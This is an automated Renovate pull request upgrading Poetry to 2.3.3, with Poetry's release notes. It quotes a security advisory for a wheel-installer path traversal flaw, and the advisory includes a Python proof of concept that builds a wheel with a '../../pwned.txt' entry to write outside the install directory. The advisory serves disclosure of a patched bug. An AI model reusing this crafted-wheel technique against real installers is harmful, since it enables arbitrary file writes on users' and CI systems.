This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [poetry](https://redirect.github.com/python-poetry/poetry) ([changelog](https://python-poetry.org/history/)) | `2.1.4` → `2.3.3` |  |  | ### GitHub Vulnerability Alerts #### [CVE-2026-34591](https://redirect.github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp) ### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. ### POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ``` --- ### Release Notes <details> <summary>python-poetry/poetry (poetry)</summary> ### [`v2.3.3`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#233---2026-03-29) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.2...2.3.3) ##### Fixed - **Fix a path traversal vulnerability in the wheel installer that could allow malicious wheel files to write files outside the intended installation directory** ([#&#8203;10792](https://redirect.github.com/python-poetry/poetry/pull/10792)). - Fix an issue where `git` dependencies from annotated tags could not be updated ([#&#8203;10719](https://redirect.github.com/python-poetry/poetry/pull/10719)). - Fix an issue where empty `VIRTUAL_ENV` or `CONDA_PREFIX` environment variables (e.g., after `conda deactivate`) would cause Poetry to incorrectly detect an active virtualenv ([#&#8203;10784](https://redirect.github.com/python-poetry/poetry/pull/10784)). - Fix an issue where an incomprehensible error message was printed when `.venv` was a file instead of a directory ([#&#8203;10777](https://redirect.github.com/python-poetry/poetry/pull/10777)). - Fix an issue where HTTP Basic Authentication credentials could be corrupted during request preparation, causing authentication failures with long tokens ([#&#8203;10748](https://redirect.github.com/python-poetry/poetry/pull/10748)). - Fix an issue where `poetry publish --no-interaction --build` requested user interaction ([#&#8203;10769](https://redirect.github.com/python-poetry/poetry/pull/10769)). - Fix an issue where `poetry init` and `poetry new` created a deprecated `project.license` format ([#&#8203;10787](https://redirect.github.com/python-poetry/poetry/pull/10787)). ##### Docs - Clarify the differences between `poetry install` and `poetry update` ([#&#8203;10713](https://redirect.github.com/python-poetry/poetry/pull/10713)). - Clarify the section of fields in the `pyproject.toml` examples ([#&#8203;10753](https://redirect.github.com/python-poetry/poetry/pull/10753)). - Add a note about the different installation location when Python from the Microsoft Store is used ([#&#8203;10759](https://redirect.github.com/python-poetry/poetry/pull/10759)). - Fix the system requirements for Poetry ([#&#8203;10739](https://redirect.github.com/python-poetry/poetry/pull/10739)). - Fix the `poetry cache clear` example ([#&#8203;10749](https://redirect.github.com/python-poetry/poetry/pull/10749)). - Fix the link to `pipx` installation instructions ([#&#8203;10783](https://redirect.github.com/python-poetry/poetry/pull/10783)). ##### poetry-core ([`2.3.2`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.2)) - Fix an issue where `platform_release` could not be parsed on Debian Trixie ([#&#8203;930](https://redirect.github.com/python-poetry/poetry-core/pull/930)). - Fix an issue where using `project.readme.text` in the `pyproject.toml` file resulted in broken metadata ([#&#8203;914](https://redirect.github.com/python-poetry/poetry-core/pull/914)). - Fix an issue where dependency groups were considered equal when their resolved dependencies were equal, even if the groups themselves were not ([#&#8203;919](https://redirect.github.com/python-poetry/poetry-core/pull/919)). - Fix an issue where removing a dependency from a group that included another group resulted in other dependencies being added to the included group ([#&#8203;922](https://redirect.github.com/python-poetry/poetry-core/pull/922)). - Fix an issue where PEP 735 `include-group` entries were lost when `[tool.poetry.group]` also defined `include-groups` for the same group ([#&#8203;924](https://redirect.github.com/python-poetry/poetry-core/pull/924)). - Fix an issue where the union of `<value> not in <marker>` constraints was wrongly treated as always satisfied ([#&#8203;925](https://redirect.github.com/python-poetry/poetry-core/pull/925)). - Fix an issue where a post release with a local version identifier was wrongly allowed by a `>` version constraint ([#&#8203;921](https://redirect.github.com/python-poetry/poetry-core/pull/921)). - Fix an issue where a version with the local version identifier `0` was treated as equal to the corresponding public version ([#&#8203;920](https://redirect.github.com/python-poetry/poetry-core/pull/920)). - Fix an issue where a `!= <version>` constraint wrongly disallowed pre releases and post releases of the specified version ([#&#8203;929](https://redirect.github.com/python-poetry/poetry-core/pull/929)). - Fix an issue where `in` and `not in` constraints were wrongly not allowed by specific compound constraints ([#&#8203;927](https://redirect.github.com/python-poetry/poetry-core/pull/927)). ### [`v2.3.2`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#232---2026-02-01) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.1...2.3.2) ##### Changed - Allow `dulwich>=1.0` ([#&#8203;10701](https://redirect.github.com/python-poetry/poetry/pull/10701)). ##### poetry-core ([`2.3.1`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.1)) - Fix an issue where `platform_release` could not be parsed on Windows Server ([#&#8203;911](https://redirect.github.com/python-poetry/poetry-core/pull/911)). ### [`v2.3.1`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#231---2026-01-20) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.0...2.3.1) ##### Fixed - Fix an issue where cached information about each package was always considered outdated ([#&#8203;10699](https://redirect.github.com/python-poetry/poetry/pull/10699)). ##### Docs - Document SHELL\_VERBOSITY environment variable ([#&#8203;10678](https://redirect.github.com/python-poetry/poetry/pull/10678)). ### [`v2.3.0`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#230---2026-01-18) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.2.1...2.3.0) ##### Added - **Add support for exporting `pylock.toml` files with `poetry-plugin-export`** ([#&#8203;10677](https://redirect.github.com/python-poetry/poetry/pull/10677)). - Add support for specifying build constraints for dependencies ([#&#8203;10388](https://redirect.github.com/python-poetry/poetry/pull/10388)). - Add support for publishing artifacts whose version is determined dynamically by the build-backend ([#&#8203;10644](https://redirect.github.com/python-poetry/poetry/pull/10644)). - Add support for editable project plugins ([#&#8203;10661](https://redirect.github.com/python-poetry/poetry/pull/10661)). - Check `requires-poetry` before any other validation ([#&#8203;10593](https://redirect.github.com/python-poetry/poetry/pull/10593)). - Validate the content of `project.readme` when running `poetry check` ([#&#8203;10604](https://redirect.github.com/python-poetry/poetry/pull/10604)). - Add the option to clear all caches by making the cache name in `poetry cache clear` optional ([#&#8203;10627](https://redirect.github.com/python-poetry/poetry/pull/10627)). - Automatically update the cache for packages where the locked files differ from cached files ([#&#8203;10657](https://redirect.github.com/python-poetry/poetry/pull/10657)). - Suggest to clear the cache if running a command with `--no-cache` solves an issue ([#&#8203;10585](https://redirect.github.com/python-poetry/poetry/pull/10585)). - Propose `poetry init` when trying `poetry new` for an existing directory ([#&#8203;10563](https://redirect.github.com/python-poetry/poetry/pull/10563)). - Add support for `poetry publish --skip-existing` for new Nexus OSS versions ([#&#8203;10603](https://redirect.github.com/python-poetry/poetry/pull/10603)). - Show Poetry's own Python's path in `poetry debug info` ([#&#8203;10588](https://redirect.github.com/python-poetry/poetry/pull/10588)). ##### Changed - **Drop support for Python 3.9** ([#&#8203;10634](https://redirect.github.com/python-poetry/poetry/pull/10634)). - **Change the default of `installer.re-resolve` from `true` to `false`** ([#&#8203;10622](https://redirect.github.com/python-poetry/poetry/pull/10622)). - **PEP 735 dependency groups are considered in the lock file hash** ([#&#8203;10621](https://redirect.github.com/python-poetry/poetry/pull/10621)). - Deprecate `poetry.utils._compat.metadata`, which is sometimes used in plugins, in favor of `importlib.metadata` ([#&#8203;10634](https://redirect.github.com/python-poetry/poetry/pull/10634)). - Improve managing free-threaded Python versions with `poetry python` ([#&#8203;10606](https://redirect.github.com/python-poetry/poetry/pull/10606)). - Prefer JSON API to HTML API in legacy repositories ([#&#8203;10672](https://redirect.github.com/python-poetry/poetry/pull/10672)). - When running `poetry init`, only add the readme field in the `pyproject.toml` if the readme file exists ([#&#8203;10679](https://redirect.github.com/python-poetry/poetry/pull/10679)). - Raise an error if no hash can be determined for any distribution link of a package ([#&#8203;10673](https://redirect.github.com/python-poetry/poetry/pull/10673)). - Require `dulwich>=0.25.0` ([#&#8203;10674](https://redirect.github.com/python-poetry/poetry/pull/10674)). ##### Fixed - Fix an issue where `poetry remove` did not work for PEP 735 dependency groups with `include-group` items ([#&#8203;10587](https://redirect.github.com/python-poetry/poetry/pull/10587)). - Fix an issue where `poetry remove` caused dangling `include-group` references in PEP 735 dependency groups ([#&#8203;10590](https://redirect.github.com/python-poetry/poetry/pull/10590)). - Fix an issue where `poetry add` did not work for PEP 735 dependency groups with `include-group` items ([#&#8203;10636](https://redirect.github.com/python-poetry/poetry/pull/10636)). - Fix an issue where PEP 735 dependency groups were not considered in the lock file hash ([#&#8203;10621](https://redirect.github.com/python-poetry/poetry/pull/10621)). - Fix an issue where wrong markers were locked for a dependency that was required by several groups with different markers ([#&#8203;10613](https://redirect.github.com/python-poetry/poetry/pull/10613)). - Fix an issue where non-deterministic markers were created in a method used by `poetry-plugin-export` ([#&#8203;10667](https://redirect.github.com/python-poetry/poetry/pull/10667)). - Fix an issue where wrong wheels were chosen for installation in free-threaded Python environments if Poetry itself was not installed with free-threaded Python ([#&#8203;10614](https://redirect.github.com/python-poetry/poetry/pull/10614)). - Fix an issue where `poetry publish` used the metadata of the project instead of the metadata of the build artifact ([#&#8203;10624](https://redirect.github.com/python-poetry/poetry/pull/10624)). - Fix an issue where `poetry env use` just used another Python version instead of failing when the requested version was not supported by the project ([#&#8203;10685](https://redirect.github.com/python-poetry/poetry/pull/10685)). - Fix an issue where `poetry env activate` returned the wrong command for `dash` ([#&#8203;10696](https://redirect.github.com/python-poetry/poetry/pull/10696)). - Fix an issue where `data-dir` and `python.installation-dir` could not be set ([#&#8203;10595](https://redirect.github.com/python-poetry/poetry/pull/10595)). - Fix an issue where Python and pip executables were not correctly detected on Windows ([#&#8203;10645](https://redirect.github.com/python-poetry/poetry/pull/10645)). - Fix an issue where invalid template variables in `virtualenvs.prompt` caused an incomprehensible error message ([#&#8203;10648](https://redirect.github.com/python-poetry/poetry/pull/10648)). ##### Docs - Add a warning about `~/.netrc` for Poetry credential configuration ([#&#8203;10630](https://redirect.github.com/python-poetry/poetry/pull/10630)). - Clarify that the local configuration takes precedence over the global configuration ([#&#8203;10676](https://redirect.github.com/python-poetry/poetry/pull/10676)). - Add an explanation in which cases `packages` are automatically detected ([#&#8203;10680](https://redirect.github.com/python-poetry/poetry/pull/10680)). ##### poetry-core ([`2.3.0`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.0)) - Normalize versions ([#&#8203;893](https://redirect.github.com/python-poetry/poetry-core/pull/893)). - Fix an issue where unsatisfiable requirements did not raise an error ([#&#8203;891](https://redirect.github.com/python-poetry/poetry-core/pull/891)). - Fix an issue where the implicit main group did not exist if it was explicitly declared as not having any dependencies ([#&#8203;892](https://redirect.github.com/python-poetry/poetry-core/pull/892)). - Fix an issue where `python_full_version` markers with pre-release versions were parsed incorrectly ([#&#8203;893](https://redirect.github.com/python-poetry/poetry-core/pull/893)). ### [`v2.2.1`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#221---2025-09-21) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.2.0...2.2.1) ##### Fixed - Fix an issue where `poetry self show` failed with a message about an invalid output format ([#&#8203;10560](https://redirect.github.com/python-poetry/poetry/pull/10560)). ##### Docs - Remove outdated statements about dependency groups ([#&#8203;10561](https://redirect.github.com/python-poetry/poetry/pull/10561)). ##### poetry-core ([`2.2.1`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.2.1)) - Fix an issue where it was not possible to declare a PEP 735 dependency group as optional ([#&#8203;888](https://redirect.github.com/python-poetry/poetry-core/pull/888)). ### [`v2.2.0`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#220---2025-09-14) [Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.1.4...2.2.0) ##### Added - **Add support for nesting dependency groups** ([#&#8203;10166](https://redirect.github.com/python-poetry/poetry/pull/10166)). - **Add support for PEP 735 dependency groups** ([#&#8203;10130](https://redirect.github.com/python-poetry/poetry/pull/10130)). - **Add support for PEP 639 license clarity** ([#&#8203;10413](https://redirect.github.com/python-poetry/poetry/pull/10413)). - Add a `--format` option to `poetry show` to alternatively output json format ([#&#8203;10487](https://redirect.github.com/python-poetry/poetry/pull/10487)). - Add official support for Python 3.14 ([#&#8203;10514](https://redirect.github.com/python-poetry/poetry/pull/10514)). ##### Changed - **Normalize dependency group names** ([#&#8203;10387](https://redirect.github.com/python-poetry/poetry/pull/10387)). - Change `installer.no-binary` and `installer.only-binary` so that explicit package names will take precedence over `:all:` ([#&#8203;10278](https://redirect.github.com/python-poetry/poetry/pull/10278)). - Improve log output during `poetry install` when a wheel is built from source ([#&#8203;10404](https://redirect.github.com/python-poetry/poetry/pull/10404)). - Improve error message in case a file lock could not be acquired while cloning a git repository ([#&#8203;10535](https://redirect.github.com/python-poetry/poetry/pull/10535)). - Require `dulwich>=0.24.0` ([#&#8203;10492](https://redirect.github.com/python-poetry/poetry/pull/10492)). - Allow `virtualenv>=20.33` again ([#&#8203;10506](https://redirect.github.com/python-poetry/poetry/pull/10506)). - Allow `findpython>=0.7` ([#&#8203;10510](https://redirect.github.com/python-poetry/poetry/pull/10510)). - Allow `importlib-metadata>=8.7` ([#&#8203;10511](https://redirect.github.com/python-poetry/poetry/pull/10511)). ##### Fixed - Fix an issue where `poetry new` did not create the project structure in an existing empty directory ([#&#8203;10431](https://redirect.github.com/python-poetry/poetry/pull/10431)). - Fix an issue where a dependency that was required for a specific Python version was not installed into an environment of a pre-release Python version ([#&#8203;10516](https://redirect.github.com/python-poetry/poetry/pull/10516)). ##### poetry-core ([`2.2.0`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.2.0)) - Deprecate table values and values that are not valid SPDX expressions for `[project.license]` ([#&#8203;870](https://redirect.github.com/python-poetry/poetry-core/pull/870)). - Fix an issue where explicitly included files that are in `.gitignore` were not included in the distribution ([#&#8203;874](https://redirect.github.com/python-poetry/poetry-core/pull/874)). - Fix an issue where marker operations could result in invalid markers ([#&#8203;875](https://redirect.github.com/python-poetry/poetry-core/pull/875)). </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/canonical/charmcraft). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDIuNyIsInVwZGF0ZWRJblZlciI6IjQzLjEwMi43IiwidGFyZ2V0QnJhbmNoIjoiaG90Zml4LzQuMCIsImxhYmVscyI6WyJQUjogRGVwZW5kZW5jaWVzIl19-->